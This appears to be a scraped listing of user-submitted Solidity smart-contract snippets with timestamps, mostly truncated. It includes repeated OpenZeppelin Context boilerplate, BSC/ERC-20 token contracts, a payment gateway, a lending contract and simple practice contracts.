 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:20:08 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:09:36 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 14:52:21 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 14:41:30 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:45:48 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:25:52 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:21:41 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:14:37 UTC
// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  
Aug 02, 2021 12:03:18 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 12:02:18 UTC
// SPDX-License-Identifier: Unlicensed

/**Website: https://super-husky.com/
Telegram: @SUPERHUSKYBSC
Twitter: @SuperHuskyBSC
Reddit: r/SuperHusky

Team Wallet: 0x8E1eFFE1C678334d377014236536B5dE2bdd0712
Marketing Wallet: 0x967f86D30D72283B5eC0E83f4d34841C8138a7BF 

DISCLOSURE By purchasing SuperHusky Token, you agree that you are not purchasing a security or investment contract and you agree to hold the team harmless and not liable for any losses or taxes you may incur. 
Although SuperHusky is a community driven DeFi Ecosystem and not a registered digital currency, always make sure that you are in compliance with local laws and regulations before you make any purchase. 
Cryptocurrencies are not legal tender and are not investments.

This is a SuperHusky original contract. Do not copy paste this contract, unless licensed by @SUPERHUSKYBSC.
**/

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
  
Aug 02, 2021 11:59:29 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:39:46 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:39:09 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:20:30 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:14:50 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 11:13:48 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * ther
Aug 02, 2021 11:08:56 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 10:20:53 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 10:01:05 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 09:56:24 UTC
/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract
Aug 02, 2021 09:49:50 UTC
/**
 *Submitted for verification at polygonscan.com on 2021-07-30
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract
Aug 02, 2021 09:17:47 UTC
pragma solidity 0.5.16;
 
interface IBEP20 {
 /**
  * @dev Returns the amount of tokens in existence.
  */
 function totalSupply() external view returns (uint256);
 
 /**
  * @dev Returns the token decimals.
  */
 function decimals() external view returns (uint8);
 
 /**
  * @dev Returns the token symbol.
  */
 function symbol() external view returns (string memory);
 
 /**
 * @dev Returns the token name.
 */
 function name() external view returns (string memory);
 
 /**
  * @dev Returns the bep token owner.
  */
 function getOwner() external view returns (address);
 
 /**
  * @dev Returns the amount of tokens owned by `account`.
  */
 function balanceOf(address account) external view returns (uint256);
 
 /**
  * @dev Moves `amount` tokens from the caller's account to `recipient`.
  *
  * Returns a boolean value indicating whether the operation succeeded.
  *
  * Emits a {Transfer} event.
  */
 function transfer(address recipient, uint256 amount) external returns (bool);
 
 /**
  * @dev Returns the remaining
Aug 01, 2021 08:17:13 UTC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _call() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) inter
Jul 26, 2021 22:49:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 25, 2021 08:21:11 UTC
//SPDX-License-Identifier: MIT
pragma solidity 0.7.1;

contract KarmaGateway
{
    
    /**
     * Contract owner
    **/
    address payable owner;
    
    /**
     * Charity address
    **/
    address public charityAddress = 0xb5F0Cdc0370610980549F461E05b196578CC3D1D;
    
    event Payment(address indexed sender, address indexed to, uint256 amount, uint256 fee);
    event withdraw(address indexed _too, uint256 amount, uint256 timestamp);
    
    constructor () {
        owner = payable(address(msg.sender));
    }
    
    modifier onlyOwner() {
        require(owner == msg.sender, "Only owner can execute this function");
        _;
    }

    function setCharityAddresss(address payable _address) public onlyOwner
    {
        charityAddress = _address;
    }
    
    function pay(address payable _to, uint256 _fee) external payable {
        require(msg.value > 0, "Must send BNB");
        require(msg.value >= 0.01 ether, "The minimal transfer is 0.01 BNB");
        require(_fee >= 2, "The minimal fee is
Jul 23, 2021 17:19:41 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-07-19
*/

/*
*Only Shiba 
*The Real NFT Game of Shiba Memes
*1,000,000 Token supply Only
*No Tax , all token use in Game with reward system
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.6.8;

library Address {
        function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "
Jul 22, 2021 17:36:54 UTC


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi
Jul 21, 2021 19:57:30 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.17;

contract P2PLending {
  
  //Global Counters for overall stats 
  uint totalNumLoans; 
  uint totalNumBorrowers; 
  uint totalNumInvestors; 
  uint totalNumFullyFundedLoans; 

   //Arrays to hold all of our investors and borrowers and loans
  Investor[] public investors; 
  Borrower[] public borrowers; 
  Loan[] public loans; 

  //Mappings 
  mapping (address => uint) public borrowerNumLoans; //take a borrowerr address and get the number of loans they have in the marketplace
  mapping (address => uint) public investorNumInvestments; //take an investor address and get the number of loans they are funding
  mapping (uint => address) public borrowerToOwner; //take an id from our borrowers array and get the address of the borrower
  mapping (uint => address) public investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => Borrower) public borro
Jul 20, 2021 20:10:42 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 19, 2021 08:24:45 UTC
// CryptoKitties Source code
// Copied from: https://etherscan.io/address/0x06012c8cf97bead5deae237070f9587f8e7a266d#code

pragma solidity ^0.4.1;

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner {
    if (newOwner != address(0)) {
      owner = newOwner;
    }
  }

}



/// @title Interface for contracts
Jul 17, 2021 04:42:02 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  enum Stage { None, Queued, Approval, Referendum, Execution, Expiration }

  function gtApproval(Stage stage) public view returns (bool) {
    return stage > Stage.Approval;
  }

  function isExpired(bool approved, Stage stage) public view returns (bool) {
    return (/*stage > Stage.Approval &&*/ !approved);
  }

  function wtfBool() public view returns (bool) {
    bool b = false;
    return !b;
  }

  function banana() public view returns (Stage) {
    Stage stage = Stage.Referendum;
    return isExpired(false, stage) ? Stage.Expiration : stage;
  }

  function wtfStage(Stage stage) public view returns (Stage) {
    return stage;
  }
Jul 15, 2021 11:56:32 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.4.0;

contract A {
    uint8 public var1;
    uint256 public var2;
    // uint128 public var3;
    
    function incVar1(uint8 v) external {
        var1 += v; // 121763 gas in V4.12, 43874/26774 gas in V8.6
    }
    
    function incVar2(uint256 v) external {
        var2 += v; // 43432/26523 gas in V4.12, 43600 gas in V8.6
    }
    
    // function incVar3(uint128 v) external {
    //     var3 += v; // 43917/26817 gas in V8.6
    // }
    
    // function incVar4(uint8 v) external {
    //     var2 += v; // 43706/26606 gas in V8.6
    // }
Jul 14, 2021 11:38:27 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MyContract {
    struct member {
        address publicKey;
        uint8 payDeposit;
        bool penalized; 
        
    }
    member [] members;
    bool lotteryOpen;
    uint256 startTime;
    uint256 endBidingTime;
    uint8 currentCapacity;
    bool revealed;
    uint8 winingPrize;
    
    constructor(uint8 bidingDuration){
    lotteryOpen = true;
    startTime = block.timestamp;
    endBidingTime = startTime + bidingDuration * 1 seconds;
    currentCapacity = 3;
    }
    function acceptMember (string memory commitment,address publicKey) public{
        require(block.timestamp < endBidingTime);
        require(currentCapacity < 3);
        member memory player = member(publicKey,commitment);
        members.push(player);
        currentCapacity+=1;
        if (currentCapacity == 3){
            Reveal();
        }
        
    }
     function random() private view returns (uint) {
        return uint(keccak256(abi.encodePacked(block.dif
Jul 12, 2021 17:28:07 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity >=0.7.0 <0.9.0;

contract Asset is Ownable {
    address public originalOwner;
    mapping(uint256 => address) ownerHistory;
    mapping(uint256 => uint256) priceHistory;
    uint256 public price = 0;
    uint256 public royalty = 0;
    uint256 private ownerIndex = 0;
    bool public isLocked = false;
    bool public canSell = false;
    uint256 public tokenId;
    MarketplaceProxy public marketplaceProxy;

    event UpdatePrice (
        address indexed _owner,
        uint256 _previousPrice,
        uint256 _newPrice,
        uint256 _id
    );

    event UpdateRoyalty (
        address indexed _owner,
        uint256 _previousRoyalty,
        uint256 _newRoyalty,
        uint256 _id
    );

    event Purchase (
        address indexed _recipient,
        address indexed _buyee,
        uint256 _price,
        uint256 _id
    );
    
    event Transfer (
        address indexed _from,
        address inde
Jul 10, 2021 04:15:11 UTC
function addCoop(uint _coop_id, string memory _name) public isOwner {
        bytes memory tmpRequire = bytes(coops[_coop_id]);//Convert to bytes in order to be able to use length
        require(tmpRequire.length == 0, "Ya existe una coop con este ID");
        
        coops[_coop_id] = _name;
        coopsIndex.push(_coop_id);
    
Jul 09, 2021 18:48:34 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 08, 2021 14:08:39 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 06, 2021 13:49:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    a=_b;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 03, 2021 13:56:33 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Jul 03, 2021 13:56:11 UTC
pragma solidity ^0.7.1;

contract A {
  
  uint256 a = 0;
  uint256 b = a;
}

contract B {
  uint256 a = 0;
  uint64 b = uint64(a);
Jul 02, 2021 17:12:08 UTC
// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

contract CoopChain {
    
    address private owner;
    
    struct Minute {
        uint timestamp;
        string coop;
        string title;
        string sign;
        address[] signatures;
    }


    // mapping(uint => uint[]) public coopMinutes2; // [coop_id][minute_id];
    mapping(uint => mapping(uint => Minute)) public coopMinutes; //Map 1 coop with many minutes. //To get all the coop's minutes

    mapping(uint => address[]) public coopMembers; // Map 1 coop with many members, who can sign.
    mapping(address => uint[]) public memberSigns; // Map one member with many signs. Kinda "Reversed by".
    
    //Events
    event MinuteAdded(bool success);
    
    //Modifiers
    modifier isOwner() {
        require(msg.sender == owner, "Sender no autorizado.");
        _;
    }

    modifier isMember() {
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function subscribeMinute(uint _coop_id, uint _minute_
Jun 28, 2021 22:16:11 UTC
pragma solidity ^0.4.18;

/**
 * Contract that will forward any incoming Ether to its creator
 */
contract Forwarder {
  // Address to which any funds sent to this contract will be forwarded
  address public destinationAddress;

  /**
   * Create the contract, and set the destination address to that of the creator
   */
  function Forwarder() public {
    destinationAddress = msg.sender;
  }

  /**
   * Default function; Gets called when Ether is deposited, and forwards it to the destination address
   */
  function() payable public {
        destinationAddress.transfer(msg.value);
  }

  /**
   * It is possible that funds were sent to this address before the contract was deployed.
   * We can flush those funds to the destination address.
   */
  function flush() public {
    destinationAddress.transfer(this.balance);
  }

Jun 25, 2021 13:34:24 UTC
pragma solidity ^0.5.0;

contract HelloWorld {
    string public hello = "Hi, Hello World from swzhouu!";
    
    uint256 a = 125;
    uint256 b = 10;
    
    uint256[] private numbers;
    mapping(string => uint256) public keyValueStore;
    mapping(string => bool) public hashValue;
    uint256 public keyValueLength;
    
    constructor(uint256[] memory initData) public {
        numbers = initData;
    }
    
    function pushNumber(uint256 newNumber) public {
        numbers.push(newNumber);
    }
    
    function getNumber(uint256 index) public view returns(uint256) {
        return numbers[index];
    }
    
    function getNumberLenght() public view returns(uint256) {
        return numbers.length;
    }
    
    function setKeyValue(string memory key, uint256 value) public {
        keyValueStore[key] = value;
        
        if (hashValue[key] == false) {
            keyValueLength += 1;
        } else {
            if (value == 0) {
                keyValueLength -= 1;
            }
        }
  
Jun 25, 2021 07:06:33 UTC
pragma solidity ^0.8.0;

abstract contract ExternalContract {
    function ownerOf(uint256 tokenId) public view virtual returns (address);
    function safeTransferFrom(address from, address to, uint256 tokenId) public virtual;
    function safeTransferFrom(address from, address to, uint256 tokenId, uint256 amount, bytes memory data) public virtual;
    function balanceOf(address owner, uint256) public virtual returns (uint256);
}

contract LazyMarketplace {
    
    address private _owner; //
    uint256 private _lazyFee;
    mapping (bytes32 => uint) private _listPrices;
    address private immutable _lazyWallet = 0xa679c6154b8d4619Af9F83f0bF9a13A680e01eCf;
    
    event TokenPriceUpdated(address _contractAddress, uint256 _tokenId, uint _price);
    event TokenSold(address _contractAddress, uint256 _tokenId, uint _price, uint _fee);
    
    constructor(address _lazyWallet) {
        _owner = msg.sender;
